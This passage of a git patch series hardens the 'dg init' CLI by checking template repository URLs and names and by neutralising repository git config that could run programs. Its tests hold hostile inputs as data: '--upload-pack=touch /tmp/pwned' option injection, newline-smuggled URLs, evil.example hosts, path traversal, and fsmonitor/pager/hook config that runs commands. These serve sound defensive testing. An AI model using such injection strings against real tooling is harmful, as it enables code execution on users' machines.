--- a/packages/deepctl-cmd-init/src/deepctl_cmd_init/command.py
+++ b/packages/deepctl-cmd-init/src/deepctl_cmd_init/command.py
@@ -12,11 +12,14 @@
     Config,
     DeepgramClient,
 )
-from deepctl_core.output import _agentic
+from deepctl_core import messages as core_msg
+from deepctl_core.output import _agentic, print_error
 from rich.console import Console
+from rich.markup import escape
 from rich.table import Table
 
 from . import lifecycle, templates_api
+from . import messages as msg
 from .models import InitResult, TemplateDetail, TemplateInfo
 
 console = Console()
@@ -173,6 +176,25 @@ def handle(
             if not detail:
                 return InitResult(status="cancelled", message="No template selected")
 
+        # ── Check what the template service sent ───────────────────────────────
+        # The repository and the template name come from the service; both
+        # are checked before either is used in a path, a command or output.
+        github_url = detail.links.get("github")
+        if not github_url:
+            return InitResult(status="error", message="Template has no GitHub URL")
+        if not lifecycle.is_template_repo(github_url):
+            error = msg.E_INIT_REPO_REFUSED.format(
+                template=core_msg.display(detail.name)
+            )
+            print_error(escape(error))
+            return InitResult(status="error", message=error)
+        if not lifecycle.valid_name(detail.name):
+            error = msg.E_INIT_NAME_REFUSED.format(
+                template=core_msg.display(template_slug or detail.name)
+            )
+            print_error(escape(error))
+            return InitResult(status="error", message=error)
+
         # ── Resolve target directory ───────────────────────────────────────────
         dest = Path(target_dir) if target_dir else Path(f"./{detail.name}")
         dest = dest.resolve()
@@ -186,10 +208,6 @@ def handle(
             return InitResult(status="cancelled", message="Clone cancelled")
 
         # ── Clone ──────────────────────────────────────────────────────────────
-        github_url = detail.links.get("github")
-        if not github_url:
-            return InitResult(status="error", message="Template has no GitHub URL")
-
         console.print()
         with console.status("[blue]Cloning repository...[/blue]"):
             try:
diff --git a/packages/deepctl-cmd-init/src/deepctl_cmd_init/lifecycle.py b/packages/deepctl-cmd-init/src/deepctl_cmd_init/lifecycle.py
index 47afb667..0adcdce4 100644
--- a/packages/deepctl-cmd-init/src/deepctl_cmd_init/lifecycle.py
+++ b/packages/deepctl-cmd-init/src/deepctl_cmd_init/lifecycle.py
@@ -3,9 +3,11 @@
 from __future__ import annotations
 
 import os
+import re
 import shutil
 import subprocess
 from typing import TYPE_CHECKING
+from urllib.parse import urlsplit
 
 from deepctl_core.output import print_hint, print_info, print_warning
 from rich.console import Console
@@ -60,6 +62,54 @@ def check_prereqs() -> list[tuple[str, str, str]]:
 
 # ── Git clone ─────────────────────────────────────────────────────────────────
 
+#: The GitHub organizations dg clones templates from.
+TEMPLATE_ORGS = ("deepgram", "deepgram-starters")
+
+# A repository or template name: ASCII letters, digits, ".", "_" and "-",
+# not starting with "-" (git or a shell would read it as an option).
+_NAME = re.compile(r"[A-Za-z0-9._-]+")
+
+
+def valid_name(name: object) -> bool:
+    """Whether ``name`` is a usable template or repository name."""
+    return (
+        isinstance(name, str)
+        and _NAME.fullmatch(name) is not None
+        and not name.startswith("-")
+        and name not in (".", "..")
+    )
+
+
+def is_template_repo(url: str) -> bool:
+    """Whether ``url`` is an https GitHub repository of a Deepgram organization.
+
+    The template service supplies the URL, so only
+    ``https://github.com/deepgram/<repo>`` and
+    ``https://github.com/deepgram-starters/<repo>`` are cloned: no other
+    host, scheme, port, user name, query or fragment, and the repository
+    name is plain (``valid_name``): no escapes, separators or option-like
+    leading ``-``.
+    """
+    if not url.isprintable() or any(c.isspace() for c in url):
+        return False  # urlsplit drops tabs and newlines; git wouldn't
+    try:
+        parts = urlsplit(url)
+        port = parts.port
+    except ValueError:
+        return False
+    if parts.scheme != "https" or parts.netloc != "github.com" or port is not None:
+        return False
+    if parts.query or parts.fragment or "\\" in url:
+        return False
+    segments = parts.path.split("/")
+    # "", org, repo (and an optional trailing "")
+    if len(segments) == 4 and segments[3] == "":
+        segments = segments[:3]
+    if len(segments) != 3 or segments[0] != "":
+        return False
+    org, repo = segments[1], segments[2]
+    return org in TEMPLATE_ORGS and valid_name(repo)
+
 
 def clone_template(github_url: str, target_dir: Path) -> None:
     """Clone a template repository, keeping the .git directory intact.
diff --git a/packages/deepctl-cmd-init/src/deepctl_cmd_init/messages.py b/packages/deepctl-cmd-init/src/deepctl_cmd_init/messages.py
new file mode 100644
index 00000000..6450451a
--- /dev/null
+++ b/packages/deepctl-cmd-init/src/deepctl_cmd_init/messages.py
@@ -0,0 +1,13 @@
+"""Strings for ``dg init``'s errors."""
+
+# The template service sent a name that isn't plain.
+E_INIT_NAME_REFUSED = (
+    'Not using template "{template}": the template service sent a name that '
+    'isn\'t plain (letters, digits, ".", "_" and "-", not starting with "-").'
+)
+
+# The template service named a repository outside Deepgram's organizations.
+E_INIT_REPO_REFUSED = (
+    'Not cloning template "{template}": its repository is not on '
+    "github.com/deepgram or github.com/deepgram-starters."
+)
diff --git a/packages/deepctl-cmd-init/tests/unit/test_init_repo.py b/packages/deepctl-cmd-init/tests/unit/test_init_repo.py
new file mode 100644
index 00000000..5f0a449a
--- /dev/null
+++ b/packages/deepctl-cmd-init/tests/unit/test_init_repo.py
@@ -0,0 +1,167 @@
+"""dg init clones templates only from Deepgram's GitHub organizations."""
+
+from __future__ import annotations
+
+from unittest.mock import Mock, patch
+
+import pytest
+from deepctl_cmd_init import lifecycle
+from deepctl_cmd_init.command import InitCommand
+from deepctl_cmd_init.models import InitResult, TemplateDetail
+from deepctl_core import AuthManager, Config, DeepgramClient
+
+
+def _detail(name: str, url: str) -> TemplateDetail:
+    return TemplateDetail(
+        name=name,
+        title="t",
+        description="d",
+        language="javascript",
+        links={"github": url},
+    )
+
+
+def _handle(tmp_path, monkeypatch, detail: TemplateDetail, slug: str) -> object:
+    clone = Mock()
+    monkeypatch.setattr(lifecycle, "check_prereqs", lambda: [])
+    monkeypatch.setattr(lifecycle, "clone_template", clone)
+    auth = Mock(spec=AuthManager)
+    auth.get_api_key.return_value = None
+    with patch(
+        "deepctl_cmd_init.command.templates_api.get_template", return_value=detail
+    ):
+        result = InitCommand().handle(
+            config=Mock(spec=Config),
+            auth_manager=auth,
+            client=Mock(spec=DeepgramClient),
+            template=slug,
+            dir=None,
+            search=None,
+            list=False,
+            install=False,
+            no_install=True,
+            start=False,
+            no_start=True,
+        )
+    clone.assert_not_called()
+    return result
+
+
+class TestTemplateName:
+    """The template name comes from the service too: it must be plain."""
+
+    @pytest.mark.parametrize(
+        ("name", "slug", "url"),
+        [
+            ("--yes", "x", "https://github.com/deepgram-starters/x"),
+            ("--yes", "--yes", "https://github.com/deepgram-starters/x"),
+            ("../x", "../x", "https://github.com/deepgram-starters/x"),
+            ("a b", "a b", "https://github.com/deepgram-starters/x"),
+        ],
+    )
+    def test_refused(self, tmp_path, monkeypatch, name, slug, url) -> None:
+        monkeypatch.chdir(tmp_path)
+        result = _handle(tmp_path, monkeypatch, _detail(name, url), slug)
+        assert isinstance(result, InitResult)
+        assert result.status == "error"
+        assert "isn't plain" in (result.message or "")
+        assert list(tmp_path.iterdir()) == []
+
+    @pytest.mark.parametrize("name", ["node-transcription", "a.b_c-1", "X"])
+    def test_valid_names(self, name: str) -> None:
+        assert lifecycle.valid_name(name)
+
+    @pytest.mark.parametrize("name", ["", "-x", ".", "..", "a/b", "a b", "\u0435", 1])
+    def test_invalid_names(self, name: object) -> None:
+        assert not lifecycle.valid_name(name)
+
+
+class TestRepositoryCheck:
+    @pytest.mark.parametrize(
+        "url",
+        [
+            "https://github.com/deepgram/deepgram-js-sdk",
+            "https://github.com/deepgram-starters/node-transcription",
+            "https://github.com/deepgram-starters/node-transcription/",
+            "https://github.com/deepgram-starters/node-transcription.git",
+        ],
+    )
+    def test_accepted(self, url: str) -> None:
+        assert lifecycle.is_template_repo(url)
+
+    @pytest.mark.parametrize(
+        "url",
+        [
+            "http://github.com/deepgram/x",
+            "ssh://git@github.com/deepgram/x",
+            "git@github.com:deepgram/x.git",
+            "https://github.com/deepgramx/x",
+            "https://github.com/deepgram-starters-evil/x",
+            "https://github.com/someone/deepgram",
+            "https://github.com.evil.example/deepgram/x",
+            "https://evil.example/github.com/deepgram/x",
+            "https://user@github.com/deepgram/x",
+            "https://github.com:8443/deepgram/x",
+            "https://github.com/deepgram/x?ref=y",
+            "https://github.com/deepgram/x#y",
+            "https://github.com/deepgram/x/../../evil/y",
+            "https://github.com/deepgram/..",
+            "https://github.com/deepgram/",
+            "https://github.com/deepgram",
+            "https://github.com/deepgram/x/tree/main",
+            "--upload-pack=touch /tmp/pwned",
+            "file:///tmp/repo",
+            "https://GITHUB.com/deepgram/x",
+            "https://github.com\\@evil.example/deepgram/x",
+            "https://github.com/deepgram/x\n--upload-pack=touch /tmp/pwned",
+            "https://github.com/deepgram/x\t",
+            "https://github.com/deepgram/x y",
+            "https://github.com/deepgram/x\x1b[0m",
+            "https://github.com/deepgram/%2e%2e",
+            "https://github.com/deepgram/..%2fevil%2fx",
+            "https://github.com/deepgram/x%2F..%2F..%2Fevil%2Fy",
+            "https://github.com/deepgram/x%00",
+            "https://github.com/deepgram/-u",
+            "https://github.com/deepgram/--upload-pack=touch",
+            "https://github.com/deepgram/x;y",
+            "https://github.com/deepgram/\u0435vil",
+            "",
+        ],
+    )
+    def test_refused(self, url: str) -> None:
+        assert not lifecycle.is_template_repo(url)
+
+    def test_refused_repository_is_not_cloned(self, tmp_path, monkeypatch) -> None:
+        detail = TemplateDetail(
+            name="node-transcription",
+            title="Node Transcription",
+            description="d",
+            language="javascript",
+            links={"github": "https://evil.example/deepgram/x"},
+        )
+        clone = Mock()
+        monkeypatch.setattr(lifecycle, "check_prereqs", lambda: [])
+        monkeypatch.setattr(lifecycle, "clone_template", clone)
+        auth = Mock(spec=AuthManager)
+        auth.get_api_key.return_value = None
+        with patch(
+            "deepctl_cmd_init.command.templates_api.get_template", return_value=detail
+        ):
+            result = InitCommand().handle(
+                config=Mock(spec=Config),
+                auth_manager=auth,
+                client=Mock(spec=DeepgramClient),
+                template="node-transcription",
+                dir=str(tmp_path / "app"),
+                search=None,
+                list=False,
+                install=False,
+                no_install=True,
+                start=False,
+                no_start=True,
+            )
+        assert isinstance(result, InitResult)
+        assert result.status == "error"
+        assert "github.com/deepgram-starters" in (result.message or "")
+        clone.assert_not_called()
+        assert not (tmp_path / "app").exists()

From 4a762a2f00d525ddd8521380a70a24ac8c3df6db Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Sun, 1 Nov 2026 17:09:21 -0500
Subject: [PATCH 42/88] fix(init): keep repository settings from running
 programs

Every git command dg init runs now goes through one helper that adds
--no-pager and -c core.fsmonitor=false, core.hooksPath=/dev/null (NUL
on Windows), core.pager=cat and diff.external= to the command line, so
a repository's own configuration can't name a program for git to run.
The commands dg runs inside a repository (rev-parse, ls-files and
check-ignore) apply no filters and open no connection. The .env check
also skips the global excludes file, which as a FIFO would block it.

Inherited GIT_* variables are still dropped for commands in a
repository; the clone keeps them, as before.
---
 .../src/deepctl_cmd_init/lifecycle.py         |  79 +++++++----
 .../deepctl-cmd-init/tests/unit/test_init.py  |   8 +-
 .../tests/unit/test_init_git.py               | 125 ++++++++++++++++++
 3 files changed, 185 insertions(+), 27 deletions(-)
 create mode 100644 packages/deepctl-cmd-init/tests/unit/test_init_git.py

diff --git a/packages/deepctl-cmd-init/src/deepctl_cmd_init/lifecycle.py b/packages/deepctl-cmd-init/src/deepctl_cmd_init/lifecycle.py
index 0adcdce4..ef062a4d 100644
--- a/packages/deepctl-cmd-init/src/deepctl_cmd_init/lifecycle.py
+++ b/packages/deepctl-cmd-init/src/deepctl_cmd_init/lifecycle.py
@@ -60,6 +60,50 @@ def check_prereqs() -> list[tuple[str, str, str]]:
     return missing
 
 
+# ── Running git ───────────────────────────────────────────────────────────────
+
+# Settings every git command dg runs gets on its command line, so that
+# configuration inside a repository can't run a program: no fsmonitor
+# daemon command, no hooks, no pager, no external diff. (The commands dg
+# runs in a repository, rev-parse, ls-files and check-ignore, apply no
+# filters and open no connection.)
+_NULL_DEVICE = "NUL" if os.name == "nt" else "/dev/null"
+GIT_SAFE_CONFIG = (
+    "-c",
+    "core.fsmonitor=false",
+    "-c",
+    f"core.hooksPath={_NULL_DEVICE}",
+    "-c",
+    "core.pager=cat",
+    "-c",
+    "diff.external=",
+)
+
+
+def run_git(
+    *args: str, repo: Path | None = None, inherit_git_env: bool = False
+) -> subprocess.CompletedProcess[str] | None:
+    """Run ``git [-C repo] args`` with GIT_SAFE_CONFIG; None if git can't run.
+
+    Inherited GIT_* variables are dropped unless ``inherit_git_env`` (for a
+    clone, which works on no existing repository): GIT_DIR, GIT_WORK_TREE
+    or GIT_INDEX_FILE would point git at another repository. Call it with
+    ``repo`` only for a directory dg cloned itself.
+    """
+    if shutil.which("git") is None:
+        return None
+    env = None
+    if not inherit_git_env:
+        env = {k: v for k, v in os.environ.items() if not k.startswith("GIT_")}
+    argv = ["git", "--no-pager", *GIT_SAFE_CONFIG]
+    if repo is not None:
+        argv += ["-C", str(repo)]
+    try:
+        return subprocess.run([*argv, *args], capture_output=True, text=True, env=env)
+    except OSError:
+        return None
+
+
 # ── Git clone ─────────────────────────────────────────────────────────────────
 
 #: The GitHub organizations dg clones templates from.
@@ -127,13 +171,11 @@ def clone_template(github_url: str, target_dir: Path) -> None:
     if target_dir.exists():
         raise RuntimeError(f"Directory already exists: {target_dir}")
 
-    result = subprocess.run(
-        # "--" ends git's options: a server-supplied URL that starts with "-"
-        # is taken as the repository, never as a git option.
-        ["git", "clone", "--", github_url, str(target_dir)],
-        capture_output=True,
-        text=True,
-    )
+    # "--" ends git's options: a server-supplied URL that starts with "-"
+    # (say --upload-pack=...) is taken as the repository, never an option.
+    result = run_git("clone", "--", github_url, str(target_dir), inherit_git_env=True)
+    if result is None:
+        raise RuntimeError("git clone failed: git could not be run")
     if result.returncode != 0:
         raise RuntimeError(f"git clone failed:\n{result.stderr.strip()}")
 
@@ -175,27 +217,16 @@ def _restrict_to_owner(path: Path) -> None:
 
 
 def _git(target_dir: Path, *args: str) -> int | None:
-    """Exit code of ``git -C target_dir args``, or None if git can't run."""
-    if shutil.which("git") is None:
-        return None
-    try:
-        # Only this project's repository: an inherited GIT_DIR, GIT_WORK_TREE
-        # or GIT_INDEX_FILE would point git at another one.
-        env = {k: v for k, v in os.environ.items() if not k.startswith("GIT_")}
-        result = subprocess.run(
-            ["git", "-C", str(target_dir), *args],
-            capture_output=True,
-            text=True,
-            env=env,
-        )
-    except OSError:
-        return None
-    return result.returncode
+    """Exit code of a git command in ``target_dir``, or None if git can't run."""
+    result = run_git(*args, repo=target_dir)
+    return None if result is None else result.returncode
 
 
 def _env_ignored(target_dir: Path) -> bool | None:
     """git's answer to "is .env ignored?", or None when git can't say."""
-    rc = _git(target_dir, "check-ignore", "-q", ".env")
+    # No global excludes file: one that is a FIFO would block the check.
+    # The repository's own .gitignore is what keeps .env out of a commit.
+    rc = _git(target_dir, "-c", "core.excludesFile=", "check-ignore", "-q", ".env")
     if rc in (0, 1):
         return rc == 0
     return None
diff --git a/packages/deepctl-cmd-init/tests/unit/test_init.py b/packages/deepctl-cmd-init/tests/unit/test_init.py
index 95c794a5..45cebff3 100644
--- a/packages/deepctl-cmd-init/tests/unit/test_init.py
+++ b/packages/deepctl-cmd-init/tests/unit/test_init.py
@@ -412,12 +412,14 @@ def test_without_git_falls_back_to_pattern_check(self, tmp_path, monkeypatch):
 
 class TestCloneTemplate:
     def test_url_is_passed_after_end_of_options(self, tmp_path):
-        with patch.object(lifecycle.subprocess, "run") as run:
+        with patch.object(lifecycle.subprocess, "run") as run, patch.object(
+            lifecycle.shutil, "which", return_value="/usr/bin/git"
+        ):
             run.return_value = MagicMock(returncode=0)
             lifecycle.clone_template("--upload-pack=touch /tmp/pwned", tmp_path / "d")
         argv = run.call_args.args[0]
-        assert argv[:3] == ["git", "clone", "--"]
-        assert argv[3] == "--upload-pack=touch /tmp/pwned"
+        clone = argv.index("clone")
+        assert argv[clone : clone + 3] == ["clone", "--", "--upload-pack=touch /tmp/pwned"]
 
     def test_option_like_url_is_not_run_as_an_option(self, tmp_path):
         """With real git: an option-like URL fails as a repository name."""
diff --git a/packages/deepctl-cmd-init/tests/unit/test_init_git.py b/packages/deepctl-cmd-init/tests/unit/test_init_git.py
new file mode 100644
index 00000000..7dfca6c9
--- /dev/null
+++ b/packages/deepctl-cmd-init/tests/unit/test_init_git.py
@@ -0,0 +1,125 @@
+"""Every git command dg init runs gets settings that keep configuration
+inside a repository from running a program."""
+
+from __future__ import annotations
+
+import os
+import shutil
+import subprocess
+from typing import TYPE_CHECKING, Any
+
+import pytest
+from deepctl_cmd_init import lifecycle
+
+if TYPE_CHECKING:
+    from pathlib import Path
+
+KEY = "fa1ce0000000000000000000000000000000000d"
+
+
+def _git(repo: Path, *args: str) -> str:
+    env = {k: v for k, v in os.environ.items() if not k.startswith("GIT_")}
+    env.update(
+        GIT_CONFIG_NOSYSTEM="1",
+        GIT_AUTHOR_NAME="t",
+        GIT_AUTHOR_EMAIL="t@example.com",
+        GIT_COMMITTER_NAME="t",
+        GIT_COMMITTER_EMAIL="t@example.com",
+    )
+    return subprocess.run(
+        ["git", "-C", str(repo), *args],
+        capture_output=True,
+        text=True,
+        env=env,
+        check=True,
+    ).stdout.strip()
+
+
+def test_every_git_command_gets_the_safe_settings(
+    monkeypatch: pytest.MonkeyPatch, tmp_path: Path
+) -> None:
+    calls: list[list[str]] = []
+
+    def fake(argv: Any, *args: Any, **kwargs: Any) -> Any:
+        calls.append(list(argv))
+        return subprocess.CompletedProcess(argv, 0, "", "")
+
+    monkeypatch.setattr(lifecycle.shutil, "which", lambda name: "/usr/bin/git")
+    monkeypatch.setattr(lifecycle.subprocess, "run", fake)
+    lifecycle.run_git("status", repo=tmp_path)
+    lifecycle.clone_template("https://github.com/deepgram/x", tmp_path / "c")
+    lifecycle.ensure_env_gitignored(tmp_path)
+    assert len(calls) >= 3
+    for argv in calls:
+        assert argv[:2] == ["git", "--no-pager"]
+        assert "core.fsmonitor=false" in argv
+        assert any(a.startswith("core.hooksPath=") for a in argv)
+        assert "core.pager=cat" in argv
+
+
+@pytest.mark.skipif(shutil.which("git") is None, reason="git not installed")
+def test_repository_config_runs_nothing(tmp_path: Path) -> None:
+    """A repository whose own config names programs: writing .env (which
+    asks git whether .env is tracked and ignored) runs none of them."""
+    repo = tmp_path / "repo"
+    repo.mkdir()
+    _git(repo, "init", "-q")
+    _git(repo, "commit", "-q", "--allow-empty", "-m", "x")
+    flag = tmp_path / "ran"
+    hooks = tmp_path / "hooks"
+    hooks.mkdir()
+    for name in ("post-index-change", "reference-transaction", "pre-auto-gc"):
+        hook = hooks / name
+        hook.write_text(f"#!/bin/sh\ntouch {flag}-{name}\n")
+        hook.chmod(0o755)
+    for key, value in (
+        ("core.fsmonitor", f"touch {flag}-fsmonitor; false"),
+        ("core.hooksPath", str(hooks)),
+        ("core.pager", f"touch {flag}-pager"),
+        ("diff.external", f"touch {flag}-diff"),
+    ):
+        _git(repo, "config", key, value)
+    lifecycle.inject_env(repo, KEY)
+    assert (repo / ".env").exists()
+    assert lifecycle.run_git("status", "--porcelain", repo=repo) is not None
+    assert not list(tmp_path.glob("ran-*"))
+
+
+@pytest.mark.skipif(shutil.which("git") is None, reason="git not installed")
+def test_without_the_settings_fsmonitor_would_run(tmp_path: Path) -> None:
+    """Control: the same config does run code when git runs without them."""
+    repo = tmp_path / "repo"
+    repo.mkdir()
+    _git(repo, "init", "-q")
+    _git(repo, "commit", "-q", "--allow-empty", "-m", "x")
+    flag = tmp_path / "ran-fsmonitor"
+    _git(repo, "config", "core.fsmonitor", f"touch {flag}; false")
+    subprocess.run(["git", "-C", str(repo), "status"], capture_output=True)
+    assert flag.exists()
+
+
+@pytest.mark.skipif(
+    shutil.which("git") is None or not hasattr(os, "mkfifo"), reason="git, FIFOs"
+)
+def test_excludes_file_fifo_does_not_hang(tmp_path: Path) -> None:
+    """core.excludesFile naming a FIFO: the .env check doesn't block on it."""
+    import threading
+
+    repo = tmp_path / "repo"
+    repo.mkdir()
+    _git(repo, "init", "-q")
+    fifo = tmp_path / "excludes"
+    os.mkfifo(fifo)
+    _git(repo, "config", "core.excludesFile", str(fifo))
+    done = threading.Event()
+
+    def work() -> None:
+        lifecycle.ensure_env_gitignored(repo)
+        done.set()
+
+    threading.Thread(target=work, daemon=True).start()
+    assert done.wait(15), "check-ignore blocked on the excludes FIFO"
+    # Unblock a stuck reader, if any, so the test process can exit.
+    if not done.is_set():
+        with open(fifo, "w"):
+            pass

From bbaa6ba759f50334e4f9b2e95384ba2da08b2fbf Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Sun, 1 Nov 2026 17:10:40 -0500
Subject: [PATCH 43/88] feat(init): resume a rerun in a clone dg init recorded

dg init failed on any existing directory. It now records each clone it
makes in its own state directory (~/.deepctl/init-clones, 0700): one
owner-only file per clone, named after the directory's real path,
holding that path, the template, its repository, the commit cloned,
the phases done and the directory's device and inode. The file is
written atomically and never through a link.

A rerun into that directory resumes from the record, without cloning
again or repeating finished setup, only when all of these hold:
- the record names this real path and the template's repository;
- the directory, opened without following a link, has the recorded
  device and inode, so one deleted and made again at the path doesn't
  count, and it and its .git (a real directory) belong to this user
  (on Windows, where inodes and owners aren't reliable, only the link
  and .git checks apply);
- git then finds it the top of its own work tree, at the recorded
  commit.

Nothing inside the directory is trusted for this, and no git command
runs in it before the checks above. Any other existing directory,
however it looks, is invalid_argument: no .env is written and no setup
or start step runs. An empty directory can be cloned into.
---
 .../src/deepctl_cmd_init/clones.py            | 192 +++++++++
 .../src/deepctl_cmd_init/command.py           | 145 +++++--
 .../src/deepctl_cmd_init/lifecycle.py         | 105 ++++-
 .../src/deepctl_cmd_init/messages.py          |   9 +
 .../src/deepctl_cmd_init/models.py            |  19 +
 .../tests/unit/_init_harness.py               | 157 +++++++
 .../deepctl-cmd-init/tests/unit/test_init.py  |   6 +
 .../tests/unit/test_init_resume.py            | 406 ++++++++++++++++++
 8 files changed, 1012 insertions(+), 27 deletions(-)
 create mode 100644 packages/deepctl-cmd-init/src/deepctl_cmd_init/clones.py
 create mode 100644 packages/deepctl-cmd-init/tests/unit/_init_harness.py
 create mode 100644 packages/deepctl-cmd-init/tests/unit/test_init_resume.py

diff --git a/packages/deepctl-cmd-init/src/deepctl_cmd_init/clones.py b/packages/deepctl-cmd-init/src/deepctl_cmd_init/clones.py
new file mode 100644
index 00000000..6beae8b5
--- /dev/null
+++ b/packages/deepctl-cmd-init/src/deepctl_cmd_init/clones.py
@@ -0,0 +1,192 @@
+"""dg init's record of the clones it made, in dg's own state directory.
+
+A rerun of ``dg init`` resumes in a directory only when this record names
+it: nothing inside the directory (which anyone could have packed into an
+archive) is trusted for that. Each record is one owner-only file under
+``{state_dir}/init-clones/`` (0700), named after the directory's real path,
+holding that path, the template, its repository, the commit dg cloned and
+the phases done, and the clone directory's device and inode, so a
+directory deleted and made again at the same path is not taken for it.
+"""
+
+from __future__ import annotations
+
+import errno
+import hashlib
+import json
+import os
+import re
+import secrets
+import stat
+import sys
+from dataclasses import asdict, dataclass
+from typing import Any
+
+from deepctl_core.login_state import StateDirError, _open_dir, state_dir
+
+DIR_NAME = "init-clones"
+_MAX_BYTES = 16 * 1024
+_COMMIT = re.compile(r"[0-9a-f]{40}|[0-9a-f]{64}")
+_NOFOLLOW = getattr(os, "O_NOFOLLOW", 0)
+_NONBLOCK = getattr(os, "O_NONBLOCK", 0)
+_DIRECTORY = getattr(os, "O_DIRECTORY", 0)
+_BINARY = getattr(os, "O_BINARY", 0)
+
+
+@dataclass(frozen=True)
+class CloneRecord:
+    path: str
+    template: str
+    url: str
+    commit: str
+    phases: list[str]
+    dev: int
+    ino: int
+
+
+def _name(real_path: str) -> str:
+    return hashlib.sha256(real_path.encode("utf-8", "surrogateescape")).hexdigest()
+
+
+def _use_dir_fd() -> bool:
+    return sys.platform != "win32" and os.open in os.supports_dir_fd
+
+
+def _open_records(*, create: bool) -> int:
+    """Open the records directory inside the state directory, both checked:
+    real directories owned by this user, the records directory 0700."""
+    parent = _open_dir(state_dir(), create=create)
+    try:
+        if create:
+            try:
+                if _use_dir_fd():
+                    os.mkdir(DIR_NAME, 0o700, dir_fd=parent)
+                else:
+                    os.mkdir(state_dir() / DIR_NAME, 0o700)
+            except FileExistsError:
+                pass
+        flags = os.O_RDONLY | _DIRECTORY | _NOFOLLOW
+        if _use_dir_fd():
+            fd = os.open(DIR_NAME, flags, dir_fd=parent)
+        else:
+            fd = os.open(state_dir() / DIR_NAME, flags)
+    finally:
+        os.close(parent)
+    try:
+        st = os.fstat(fd)
+        if not stat.S_ISDIR(st.st_mode):
+            raise StateDirError(errno.ENOTDIR, "not a directory", DIR_NAME)
+        if sys.platform != "win32":
+            if st.st_uid != os.geteuid():
+                raise StateDirError(errno.EPERM, "owned by another user", DIR_NAME)
+            if stat.S_IMODE(st.st_mode) & 0o077:
+                if not create:
+                    raise StateDirError(errno.EPERM, "not private", DIR_NAME)
+                os.fchmod(fd, 0o700)
+    except BaseException:
+        os.close(fd)
+        raise
+    return fd
+
+
+def _valid(data: Any, real_path: str) -> CloneRecord | None:
+    if not isinstance(data, dict) or data.get("path") != real_path:
+        return None
+    template, url, commit = data.get("template"), data.get("url"), data.get("commit")
+    phases = data.get("phases")
+    if not (isinstance(template, str) and isinstance(url, str)):
+        return None
+    if not isinstance(commit, str) or not _COMMIT.fullmatch(commit):
+        return None
+    if not isinstance(phases, list) or not all(isinstance(p, str) for p in phases):
+        return None
+    dev, ino = data.get("dev"), data.get("ino")
+    if not isinstance(dev, int) or isinstance(dev, bool):
+        return None
+    if not isinstance(ino, int) or isinstance(ino, bool):
+        return None
+    return CloneRecord(real_path, template, url, commit, list(phases), dev, ino)
+
+
+def load(real_path: str) -> CloneRecord | None:
+    """The record for ``real_path``, or None when there is no usable one.
+
+    Only an owner-only regular file with one link, opened without following
+    a link or blocking on a FIFO, in the checked records directory.
+    """
+    try:
+        dir_fd = _open_records(create=False)
+    except OSError:
+        return None
+    name = _name(real_path) + ".json"
+    try:
+        flags = os.O_RDONLY | _NOFOLLOW | _NONBLOCK | _BINARY
+        if _use_dir_fd():
+            fd = os.open(name, flags, dir_fd=dir_fd)
+        else:
+            fd = os.open(state_dir() / DIR_NAME / name, flags)
+    except OSError:
+        os.close(dir_fd)
+        return None
+    try:
+        st = os.fstat(fd)
+        if not stat.S_ISREG(st.st_mode) or st.st_size > _MAX_BYTES:
+            return None
+        if sys.platform != "win32" and (
+            st.st_uid != os.geteuid()
+            or stat.S_IMODE(st.st_mode) & 0o077
+            or st.st_nlink != 1
+        ):
+            return None
+        raw = os.read(fd, _MAX_BYTES + 1)
+    except OSError:
+        return None
+    finally:
+        os.close(fd)
+        os.close(dir_fd)
+    try:
+        return _valid(json.loads(raw.decode("utf-8")), real_path)
+    except ValueError:
+        return None
+
+
+def save(record: CloneRecord) -> None:
+    """Write ``record`` atomically: a new 0600 file (``O_CREAT|O_EXCL|
+    O_NOFOLLOW``) next to the target, then renamed over it. Raises OSError
+    (StateDirError for a state directory dg can't use)."""
+    data = (json.dumps(asdict(record), indent=2) + "\n").encode("utf-8")
+    name = _name(record.path) + ".json"
+    tmp = f".{name}.{secrets.token_hex(8)}.tmp"
+    dir_fd = _open_records(create=True)
+    base = state_dir() / DIR_NAME
+    try:
+        flags = os.O_WRONLY | os.O_CREAT | os.O_EXCL | _NOFOLLOW | _BINARY
+        if _use_dir_fd():
+            fd = os.open(tmp, flags, 0o600, dir_fd=dir_fd)
+        else:
+            fd = os.open(base / tmp, flags, 0o600)
+        try:
+            try:
+                if hasattr(os, "fchmod"):
+                    os.fchmod(fd, 0o600)
+                view = memoryview(data)
+                while view:
+                    view = view[os.write(fd, view) :]
+                os.fsync(fd)
+            finally:
+                os.close(fd)
+            if _use_dir_fd():
+                os.replace(tmp, name, src_dir_fd=dir_fd, dst_dir_fd=dir_fd)
+            else:
+                os.replace(base / tmp, base / name)
+        except BaseException:
+            try:
+                if _use_dir_fd():
+                    os.unlink(tmp, dir_fd=dir_fd)
+                else:
+                    os.unlink(base / tmp)
+            except OSError:
+                pass
+            raise
+    finally:
+        os.close(dir_fd)
diff --git a/packages/deepctl-cmd-init/src/deepctl_cmd_init/command.py b/packages/deepctl-cmd-init/src/deepctl_cmd_init/command.py
index 00b87eba..9a3a7ff6 100644
--- a/packages/deepctl-cmd-init/src/deepctl_cmd_init/command.py
+++ b/packages/deepctl-cmd-init/src/deepctl_cmd_init/command.py
@@ -2,6 +2,7 @@
 
 from __future__ import annotations
 
+import os
 from pathlib import Path
 from typing import Any
 
@@ -13,14 +14,30 @@
     DeepgramClient,
 )
 from deepctl_core import messages as core_msg
-from deepctl_core.output import _agentic, print_error
+from deepctl_core.output import _agentic, print_error, print_hint
 from rich.console import Console
 from rich.markup import escape
 from rich.table import Table
 
-from . import lifecycle, templates_api
+from . import clones, lifecycle, templates_api
 from . import messages as msg
-from .models import InitResult, TemplateDetail, TemplateInfo
+from .models import InitCodedError, InitResult, TemplateDetail, TemplateInfo
+
+
+def _coded(
+    error: str,
+    code: str,
+    hint: str,
+    next_step: str | None,
+    details: dict[str, Any] | None = None,
+) -> InitCodedError:
+    """Report a coded error on stderr and return its payload."""
+    print_error(escape(error))
+    print_hint(escape(hint))
+    return InitCodedError(
+        error=error, code=code, hint=hint, next_step=next_step, details=details
+    )
+
 
 console = Console()
 status_console = Console(stderr=True)
@@ -199,27 +216,56 @@ def handle(
         dest = Path(target_dir) if target_dir else Path(f"./{detail.name}")
         dest = dest.resolve()
 
-        # ── Confirm ────────────────────────────────────────────────────────────
-        self._print_template_summary(detail)
-        console.print(f"[dim]Destination:[/dim] {dest}")
-        console.print()
+        # ── Rerun contract: resume in a clone dg init made ─────────────────────
